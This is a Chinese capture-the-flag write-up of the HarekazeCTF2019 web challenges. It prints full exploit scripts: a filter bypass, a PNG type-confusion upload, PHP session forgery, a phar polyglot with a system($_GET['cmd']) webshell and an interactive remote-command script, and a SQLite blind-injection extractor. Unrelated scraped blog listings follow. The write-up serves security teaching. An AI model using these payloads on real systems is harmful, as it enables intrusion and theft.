在 buuoj 上看到的这个比赛题目,期间平台关了,就拿了 Dockerfile 本地做了,web 题目感觉还不错

encode_and_encode [100]

  • 打开靶机,前两个页面都是 html 页面,第三个给了页面源码

  • 源码如下

<?php
error_reporting(0); if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
} function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
} $body = file_get_contents('php://input');
$json = json_decode($body, true); if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
} // no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);
  • file_get_contents('php://input') 获取 post 的数据,json_decode($body, true) 用 json 格式解码 post 的数据,然后 is_valid($body) 对 post 数据检验,大概输入的格式如下

  • is_valid($body) 对 post 数据检验,导致无法传输 $banword 中的关键词,也就无法传输 flag,这里在 json 中,可以使用 Unicode 编码绕过,flag 就等于 \u0066\u006c\u0061\u0067

  • 通过检验后,获取 page 对应的文件,并且页面里的内容也要通过 is_valid 检验,然后将文件中 HarekazeCTF{} 替换为 HarekazeCTF{&lt;censored&gt;} ,这样就无法明文读取 flag

  • 这里传入 /\u0066\u006c\u0061\u0067 后,由于 flag 文件中也包含 flag 关键字,所以返回 not found ,这也无法使用 file://

  • file_get_contents 是可以触发 php://filter 的,所以考虑使用伪协议读取,对 php 的过滤使用 Unicode 绕过即可

  • 可以看出,json 在传输时是 Unicode 编码的

Avatar Uploader 1 [100]

  • 给了源码,打开靶机,登录之后,是一个文件上传

  • 首先 config.php 中定义了一些常量

  • 然后在 upload.php 中判断文件大小,并使用 FILEINFO 判断上传图片类型,上传图片只能是 png 类型

  • 后面再用 getimagesize 判断文件像素大小,并且再进行一次类型判断,如果不是 png 类型就给出 flag

  • 在这两种判断上传图片类型的函数中,有一个很有趣的现象, FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以,代码如下

<?php
$file = finfo_open(FILEINFO_MIME_TYPE); var_dump(finfo_file($file, "test")); $f = getimagesize("test");
var_dump($f[2] === IMAGETYPE_PNG);
  • 结果,16进制文件也在下面

  • 直接上传这个文件就可以获取 flag 了

Easy Notes [200]

  • 给了源码,打开靶机,是一个笔记系统

  • 在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证

  • 登陆成功后,可以进行增删查和导出为 zip 或 tar 的功能,点击 Get flag 提示不是 admin

  • 既然拿到源码就先看看全局配置 config.php ,就写了一行,定义临时文件目录

define('TEMP_DIR', '/var/www/tmp');
  • 进入 page/flag.php 看一下给出 flag 的条件,要满足 is_admin() 函数

  • 跟进 is_admin() 函数,没有发现什么可以利用的地方

  • 看到有个导出功能,它会将添加的 note 导出为 zip,这个文件存放的位置在 TEMP_DIR ,和 session 信息保存在同一个位置,那么是不是可以考虑伪造 session

  • session 文件以 sess_ 开头,且只含有 a-zA-Z0-9-

  • 看到 $filename 处可以满足所有的条件

  • 构造 usersess_type. ,经过处理之后,$path 就是 TEMP_DIR/sess_0123456789abcdef 这就伪造了一个 session 文件

  • 然后向这个文件写入 note 的 title

  • php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,这就可以伪造 admin

  • 在最后,它会将构造的 $filename 返回,这样就可以拿到构造出的 admin 的 session 数据

  • 很典型的 session 伪造,session 反序列化

  • 利用脚本

import re
import requests
URL = 'http://192.168.233.136:9000/' while True:
# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
'user': 'sess_'
}) # make a crafted note
sess.post(URL + 'add.php', data={
'title': '|N;admin|b:1;',
'body': 'hello'
}) # make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
print(r) sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
print(sessid) # get the flag
r = requests.get(URL + '?page=flag', cookies={
'PHPSESSID': sessid
}).content.decode('utf-8')
flag = re.findall(r'HarekazeCTF\{.+\}', r) if len(flag) > 0:
print(flag[0])
break

Avatar Uploader 2 [300]

<?php
error_reporting(0); require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php'); $session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
if ($session->isset('flash')) {
$flash = $session->get('flash');
$session->unset('flash');
}
$avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
$session->save(); include('common.css'); include($session->get('theme', 'light') . '.css'); if ($session->isset('name')) {
echo "Hello".$session->get('name')."</br>";
} if ($flash) {
echo $flash['type']."</br>";
echo $flash['message']."</br>";
}
if ($session->isset('name')) {
echo "Please upload"."</br>";
} else {
echo "Please sign in"."</br>";
}
  • 这里的 session 处理机制是自己写的,在 lib\session.php 中,首先确认的事情是,登录后 HTTP 头部返回的 Cookiesession=******.****** 这种格式的

  • 首先 __construct 中,判断 session 是否存在 $_COOKIE 中,如果存在则以 . 分割 session ,然后对 datasignature 进行 verify 函数认证,认证成功就返回数据的 json_decode 的结果

  • isset 中判断参数 $key 是否在 data 中,get 中返回 datakey 为参数 $key 的数据,set 中将 datakey 为参数 $key 的数据设置为参数 $valueunset 中删除 datakey 为参数 $key 的数据

  • save 中将 data 转化为 json 并进行 urlsafe_base64_encode,再用 signdata 进行签名

  • 这样整个 session.php 就完了,回到 index.php,然后进行的是 flash 的判断,找了一下,在 lib\util.php 中描述了 flash 并且给了调用 flash 函数的条件,即 error 函数,找了一下,errorupload.php 中,上传失败时调用

  • 做的测试如图,flash 将错误信息保存在 session 中的

  • 根据给的提示,password_hash 函数是存在安全隐患的,它的第一个参数不能超过 72 个字符,这个函数在 sign 中被调用,signsave 调用,saveindex.php 中被调用

  • password_hash 函数的漏洞就意味着只对前 72 个字符进行签名,只要前 72 个字符相同,那么就会在校验时通过

  • 那么是不是可以登录一次,然后访问 upload.php 触发 error 函数,这样就能绕过 session 校验,然后对 data 信息进行修改,进而触发其他操作

  • 可以看到,在 index.php 中存在一行代码 include($session->get('theme','light').'.css'); ,session 信息是由我们控制的,那么就可以通过 phar 协议,触发 LFI ,首先要把 phar 文件上传,里面复合一个假的 css 文件,存放一句话,这样就可以在 include 时触发 RCE

  • 生成 phar 代码

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
  • 本地对这个 phar 做的一个测试

  • 新登录一个用户,上传这个 phar,记录这个 phar 的地址和名字,然后去 upload.php 触发一次 error ,记录 datasignature ,修改 data ,增加 theme 键,键值为 phar 协议读取上传的文件,然后生成 session 再去访问 index.php 传入命令即可

  • exp.py

import base64
import json
import re
import requests
import urllib.parse url = 'http://192.168.233.136:9003/' def b64decode(s):
return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4)) sess = requests.Session()
username = b"peri0d".decode() url_1 = url + 'signin.php'
sess.post(url=url_1, data={'name': username}) url_2 = url + 'upload.php'
f = open('exp.phar', 'rb')
sess.post(url_2, files={'file': ('exp.png', f)}) data = sess.cookies['session'].split('.')[0]
data = json.loads(b64decode(data))
avatar = data['avatar'] url_3 = url + 'upload.php'
sess.get(url_3, allow_redirects=False)
data, sig = sess.cookies['session'].split('.')
data = b64decode(data)
payload = data.replace(b'}}', '}},"theme":"phar://uploads/{}/exp"}}'.format(avatar).encode())
sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig) while True:
command = input('> ')
c = sess.get(url + '?cmd=' + urllib.parse.quote(command)).content.decode()
result = re.findall(r'/\* light/dark.css \*/(.+)/\*\*/', c, flags=re.DOTALL)[0]
print(result.strip())

Sqlite Voting [350]

  • 打开靶机,看到投票的页面,并且给了源码

  • vote.php 页面 POST 参数 id ,只能为数字。并且在 schema.sql 中发现了 flag

  DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
('dog', 0),
('cat', 0),
('zebra', 0),
('koala', 0); DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
  • vote.php 中给出了查询的 SQL 语句,但是对参数进行了检测
  function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
} $id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
} $pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
  • UPDATE 成功与失败分别对应了不同的页面,那么是不是可以进行盲注,但是考虑到它过滤了 '" 这就无法使用字符进行判断,char 又被过滤也无法使用 ASCII 码判断

  • 所以可以考虑使用 hex 进行字符判断,将所有的的字符串组合用有限的 36 个字符表示

  • 先考虑对 flag 16 进制长度的判断,假设它的长度为 xy 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方

  • 那么如何构造报错语句呢?在 sqlite3 中,abs 函数有一个整数溢出的报错,如果 abs 的参数是 -9223372036854775808 就会报错,同样如果是正数也会报错

  • 判断长度的 payload : abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

  • 脚本如下,长度 84

  import requests

  url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php"
l = 0
for n in range(16):
payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
data = {
'id' : payload
} r = requests.post(url=url, data=data)
print(r.text)
if 'occurred' in r.text:
l = l|1<<n print(l)

  • 然后考虑逐字符进行判断,但是 is_valid() 过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断
  • 这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0) 来表示空字符
  # hex(b'zebra') = 7A65627261
# 除去 12567 就是 A ,其余同理
A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' C = 'trim(hex(typeof(.1)),12567)' D = 'trim(hex(0xffffffffffffffff),123)' E = 'trim(hex(0.1),1230)' F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # hex(b'koala') = 6B6F616C61
# 除去 16CF 就是 B
B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
  • 然后逐字符进行爆破,已经知道 flag 格式为 flag{}hex(b'flag{')==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod
  • 再利用 replace(length(replace(flag,payload,''))),84,'') 这个语句进行判断
  • 如果 flag 不包含 payload ,那么得到的 length 必为 84 ,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错
  • 如果 flag 包含 payload ,那么 replace(flag, payload, '') 将 flag 中的 payload 替换为空,得到的 length 必不为 84 ,最外面的 replace 将返回 true ,通过 case when then else 构造 abs 参数为 0x8000000000000000 令其报错
  • 以上就可以根据报错爆破出 flag,最后附上出题人脚本
# coding: utf-8
import binascii
import requests
URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php' l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l) table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

题目总结

  1. json 传输时是 Unicode 编码的,可以使用 Unicode 编码来绕过一个关键词过滤
  2. FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以
  3. php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,默认保存在 /tmp
  4. 上传文件存放的位置在 TEMP_DIR ,和 session 信息保存在同一个位置,那么是不是可以考虑伪造 session
  5. password_hash 函数只对第一个参数的前 72 个字符有效
  6. phar 是一系列文件的集合,通过 addFromString(filename, file_content) 写入信息,那么通过 phar://test.phar/filename 自然可以读取到,通常文件上传多可以考虑 phar
  7. sqlite3 盲注 bypass ,利用 replace() 和 length 进行爆破,trim() 替换空字符,trim() 和 hex() 构造字符,& 特性获取长度等等,在 mysql 中也存在溢出的现象

参考链接

[HarekazeCTF2019] web的更多相关文章

  1. C# Web应用调试开启外部访问

    在用C#开发Web应用时有个痛点,就是本机用VS开启Web应用调试时外部机器无法访问此Web应用.这里将会介绍如何通过设置允许局域网和外网机器访问本机的Web应用. 目录 1. 设置内网访问 2. 设 ...

  2. 网页提交中文到WEB容器的经历了些什么过程....

    先准备一个网页 <html><meta http-equiv="Content-Type" content="text/html; charset=gb ...

  3. 闲来无聊,研究一下Web服务器 的源程序

    web服务器是如何工作的 1989年的夏天,蒂姆.博纳斯-李开发了世界上第一个web服务器和web客户机.这个浏览器程序是一个简单的电话号码查询软件.最初的web服务器程序就是一个利用浏览器和web服 ...

  4. java: web应用中不经意的内存泄露

    前面有一篇讲解如何在spring mvc web应用中一启动就执行某些逻辑,今天无意发现如果使用不当,很容易引起内存泄露,测试代码如下: 1.定义一个类App package com.cnblogs. ...

  5. 对抗密码破解 —— Web 前端慢 Hash

    (更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...

  6. 使用 Nodejs 搭建简单的Web服务器

    使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块. ...

  7. 一步步开发自己的博客 .NET版(11、Web.config文件的读取和修改)

    Web.config的读取 对于Web.config的读取大家都很属性了.平时我们用得比较多的就是appSettings节点下配置.如: 我们对应的代码是: = ConfigurationManage ...

  8. Web性能优化:What? Why? How?

    为什么要提升web性能? Web性能黄金准则:只有10%~20%的最终用户响应时间花在了下载html文档上,其余的80%~90%时间花在了下载页面组件上. web性能对于用户体验有及其重要的影响,根据 ...

  9. Web性能优化:图片优化

    程序员都是懒孩子,想直接看自动优化的点:传送门 我自己的Blog:http://cabbit.me/web-image-optimization/ HTTP Archieve有个统计,图片内容已经占到 ...

随机推荐

  1. 面试刷题25:jvm的垃圾收集算法?

    垃圾收集是java语言的亮点,大大提高了开发人员的效率. 垃圾收集即GC,当内存不足的时候触发,不同的jvm版本算法和机制都有差别. 我是李福春,我在准备面试,今天的问题是: jvm的垃圾回收算法有哪 ...

  2. 图像的特征工程:HOG特征描述子的介绍

    介绍 在机器学习算法的世界里,特征工程是非常重要的.实际上,作为一名数据科学家,这是我最喜欢的方面之一!从现有特征中设计新特征并改进模型的性能,这就是我们进行最多实验的地方. 世界上一些顶级数据科学家 ...

  3. “GANs”与“ODEs”:数学建模的终结?

    在本文中,我想将经典数学建模和机器学习之间建立联系,它们以完全不同的方式模拟身边的对象和过程.虽然数学家基于他们的专业知识和对世界的理解来创建模型,而机器学习算法以某种隐蔽的不完全理解的方式描述世界, ...

  4. 高性能RabbitMQ

    1,什么是RabbitMq RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件(亦称面向消息的中间件).RabbitMQ服务器是用Erlang语言编写的,而集群和故障转移是构建在开 ...

  5. Collections.sort详解

    Collections.sort(list, new PriceComparator());的第二个参数返回一个int型的值,就相当于一个标志,告诉sort方法按什么顺序来对list进行排序. Com ...

  6. IOS部分APP使用burpsuite抓不到包原因

    曾经在ios12的时候,iphone通过安装burpsuite的ca证书并开启授权,还可以抓到包,升级到ios13后部分app又回到以前连上代理就断网的情况. 分析:ios(13)+burpsuite ...

  7. Vue里面提供的三大类钩子及两种函数

    在路由跳转的时候,我们需要一些权限判断或者其他操作.这个时候就需要使用路由的钩子函数. 定义:路由钩子主要是给使用者在路由发生变化时进行一些特殊的处理而定义的函数. 总体来讲vue里面提供了三大类钩子 ...

  8. css3之 景深

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  9. 《mysql 必知必会》 速查指南

    目录 增 添加一整行 插入多行 删 删除指定行 删除所有行 改 查 简单检索 结果筛选 结果排序 结果过滤 创建字段 处理函数 数据分组 其他高级用法 文章内容均出自 <MySQL 必知必会&g ...

  10. django自定义实现登录验证-更新版

    django自定义实现登录验证 django内置的登录验证必须让开发者使用django内置的User模块,这会让开发者再某些方面被限制住 下面的模块是我自己自定义实现的django验证,使用方式和dj ...